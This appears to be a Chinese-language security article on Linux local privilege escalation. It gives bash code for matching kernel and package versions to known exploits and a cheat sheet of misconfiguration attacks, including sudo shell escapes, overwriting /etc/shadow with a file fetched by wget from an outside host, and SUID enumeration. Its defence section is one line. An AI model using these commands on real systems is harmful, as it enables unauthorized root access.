0x00、前言
Linux本地提权在入侵过程中起到重要的作用。当黑客通过webshell等方式获取到低权限的用户的时候,需要高级权限才能完全控制目标主机,这时候本地提权就起到作用了。在自适应安全横行安全圈的今天,本地提权也是攻击链检测锚点的重要组成部分。
0x01、本地提权途径分析
1、漏洞提权
最主要的提权方式是本地linux漏洞导致的提权。
2015年~2019年OSKTV本地提权的漏洞(14项):
其实内核漏洞提权检测的原理也很简单:
@1、获取内核版本以及依赖软件版本
解析uname -a
getUname() {
local uname=$1
KERNEL=$(echo "$uname" | awk '{print $3}' | cut -d '-' -f 1)
KERNEL_ALL=$(echo "$uname" | awk '{print $3}')
ARCH=$(echo "$uname" | awk '{print $(NF-1)}')
OS=""
echo "$uname" | grep -q -i 'deb' && OS="debian"
echo "$uname" | grep -q -i 'ubuntu' && OS="ubuntu"
echo "$uname" | grep -q -i '\-ARCH' && OS="arch"
echo "$uname" | grep -q -i '\-deepin' && OS="deepin"
echo "$uname" | grep -q -i '\-MANJARO' && OS="manjaro"
echo "$uname" | grep -q -i '\.fc' && OS="fedora"
echo "$uname" | grep -q -i '\.el' && OS="RHEL"
echo "$uname" | grep -q -i '\.mga' && OS="mageia"
}
获取软件包
getPkgList() {
local distro=$1
local pkglist_file=$2
# take package listing from provided file & detect if it's 'rpm -qa' listing or 'dpkg -l' or 'pacman -Q' listing of not recognized listing
if [ "$opt_pkglist_file" = "true" -a -e "$pkglist_file" ]; then
# ubuntu/debian package listing file
if [ $(head -1 "$pkglist_file" | grep 'Desired=Unknown/Install/Remove/Purge/Hold') ]; then
PKG_LIST=$(cat "$pkglist_file" | awk '{print $2"-"$3}' | sed 's/:amd64//g')
OS="debian"
[ "$(grep ubuntu "$pkglist_file")" ] && OS="ubuntu"
# redhat package listing file
elif [ "$(grep -E '\.el[1-9]+[\._]' "$pkglist_file" | head -1)" ]; then
PKG_LIST=$(cat "$pkglist_file")
OS="RHEL"
# fedora package listing file
elif [ "$(grep -E '\.fc[1-9]+'i "$pkglist_file" | head -1)" ]; then
PKG_LIST=$(cat "$pkglist_file")
OS="fedora"
# mageia package listing file
elif [ "$(grep -E '\.mga[1-9]+' "$pkglist_file" | head -1)" ]; then
PKG_LIST=$(cat "$pkglist_file")
OS="mageia"
# pacman package listing file
elif [ "$(grep -E '\ [0-9]+\.' "$pkglist_file" | head -1)" ]; then
PKG_LIST=$(cat "$pkglist_file" | awk '{print $1"-"$2}')
OS="arch"
# file not recognized - skipping
else
PKG_LIST=""
fi
elif [ "$distro" = "debian" -o "$distro" = "ubuntu" -o "$distro" = "deepin" ]; then
PKG_LIST=$(dpkg -l | awk '{print $2"-"$3}' | sed 's/:amd64//g')
elif [ "$distro" = "RHEL" -o "$distro" = "fedora" -o "$distro" = "mageia" ]; then
PKG_LIST=$(rpm -qa)
elif [ "$distro" = "arch" -o "$distro" = "manjaro" ]; then
PKG_LIST=$(pacman -Q | awk '{print $1"-"$2}')
elif [ -x /usr/bin/equery ]; then
PKG_LIST=$(/usr/bin/equery --quiet list '*' -F '$name:$version' | cut -d/ -f2- | awk '{print $1":"$2}')
else
# packages listing not available
PKG_LIST=""
fi
}
@2、版本比对:
例如:CVE-2016-5195(脏牛),匹配标识:
Tags: debian=7|8,RHEL=5{kernel:2.6.(18|24|33)-},RHEL=6{kernel:2.6.32-|3.(0|2|6|8|10)
.*|2.6.33.9-rt31},[ RHEL=7{kernel:3.10.0-*|4.2.0-0.21.el7} ],ubuntu=16.04|14.04|12.04
verComparision() {
if [[ $1 == $2 ]]
then
return 0
fi
local IFS=.
local i ver1=($1) ver2=($2)
# fill empty fields in ver1 with zeros
for ((i=${#ver1[@]}; i<${#ver2[@]}; i++))
do
ver1[i]=0
done
for ((i=0; i<${#ver1[@]}; i++))
do
if [[ -z ${ver2[i]} ]]
then
# fill empty fields in ver2 with zeros
ver2[i]=0
fi
if ((10#${ver1[i]} > 10#${ver2[i]}))
then
return 1
fi
if ((10#${ver1[i]} < 10#${ver2[i]}))
then
return 2
fi
done
return 0
}
doVersionComparision() {
local reqVersion="$1"
local reqRelation="$2"
local currentVersion="$3"
verComparision $currentVersion $reqVersion
case $? in
0) currentRelation='=';;
1) currentRelation='>';;
2) currentRelation='<';;
esac
if [ "$reqRelation" == "=" ]; then
[ $currentRelation == "=" ] && return 0
elif [ "$reqRelation" == ">" ]; then
[ $currentRelation == ">" ] && return 0
elif [ "$reqRelation" == "<" ]; then
[ $currentRelation == "<" ] && return 0
elif [ "$reqRelation" == ">=" ]; then
[ $currentRelation == "=" ] && return 0
[ $currentRelation == ">" ] && return 0
elif [ "$reqRelation" == "<=" ]; then
[ $currentRelation == "=" ] && return 0
[ $currentRelation == "<" ] && return 0
fi
}
compareValues() {
curVal=$1
val=$2
sign=$3
if [ "$sign" == "==" ]; then
[ "$val" == "$curVal" ] && return 0
elif [ "$sign" == "!=" ]; then
[ "$val" != "$curVal" ] && return 0
fi
return 1
}
@3、下载exploitdb 数据库编译漏洞exp执行
下载searchsploit,搜索exploitdb中的漏洞利用代码,奇热并且执行。
2、系统配置错误导致提权
@1、列举有写权限的目录和文件
find / ( -wholename '/home/homedir*' -prune ) -o ( -type d -perm -0002 ) -exec ls -ld '{}' ';' 2>/dev/null | grep root
drwxrwxrwt 2 root root 40 Oct 29 17:49 /dev/mqueue drwxrwxrwt 2 root root 100 Oct 29 17:49 /dev/shm drwxrwxrwt. 4 root root 106 Nov 3 09:34 /var/tmp drwxrwxrwt. 8 root root 169 Nov 3 11:14 /tmp drwxrwxrwt. 2 root root 6 Feb 15 2019 /tmp/.X11-unix drwxrwxrwt. 2 root root 6 Feb 15 2019 /tmp/.ICE-unix drwxrwxrwt. 2 root root 6 Feb 15 2019 /tmp/.XIM-unix drwxrwxrwt. 2 root root 6 Feb 15 2019 /tmp/.Test-unix drwxrwxrwt. 2 root root 6 Feb 15 2019 /tmp/.font-unix drwxrwxrwx 5 root root 52 Jun 11 18:04 /usr/local/share/xxx
find / ( -wholename '/home/homedir/' -prune -o -wholename '/proc/' -prune ) -o ( -type f -perm -0002 ) -exec ls -l '{}' ';' 2>/dev/null
@2、sudo滥用
如果您有一个有限的 shell,可以使用 sudo 访问某些程序,则您可以使用任何可以写入或覆盖文件的程序来提升您的权限。例如,如果你有sudo权利cp,你可以覆盖/etc/shadow或/etc/sudoersxise与你自己的恶意文件。
同样,如果您有 sudo 权限,则可以使用以下命令将其与 python 的 SimpleHTTPServer 结合使用,以覆盖 /etc/passwd 或/etc/shadow
cd /etc/ python -m SimpleHTTPServer 8080 sudo wget http://x.x.x.x:8080/evilshadowfile -O shadow
使用less 你可以访问shell
sudo less /etc/shadow v :shell
使用find命令
bash
sudo find / -exec bash -i \;
find / -exec /usr/bin/awk 'BEGIN {system("/bin/bash")}' ;
Python:
sudo python
import os
os.system("/bin/bash")
使用vi、vim
sudo vi :shell :set shell=/bin/bash:shell :!bash
@3、suid
find /* -user root -perm -4000 -print 2>/dev/null
/usr/bin/chfn /usr/bin/chsh /usr/bin/mount /usr/bin/chage /usr/bin/gpasswd /usr/bin/newgrp /usr/bin/su /usr/bin/umount /usr/bin/sudo /usr/bin/crontab /usr/bin/pkexec /usr/bin/passwd /usr/sbin/pam_timestamp_check /usr/sbin/unix_chkpwd /usr/sbin/usernetctl /usr/lib/polkit-1/polkit-agent-helper-1 /usr/libexec/dbus-1/dbus-daemon-launch-helper
0x02、防御手段
通过主机安全产品的系统漏洞检测、基线检查、本地提权功能防范。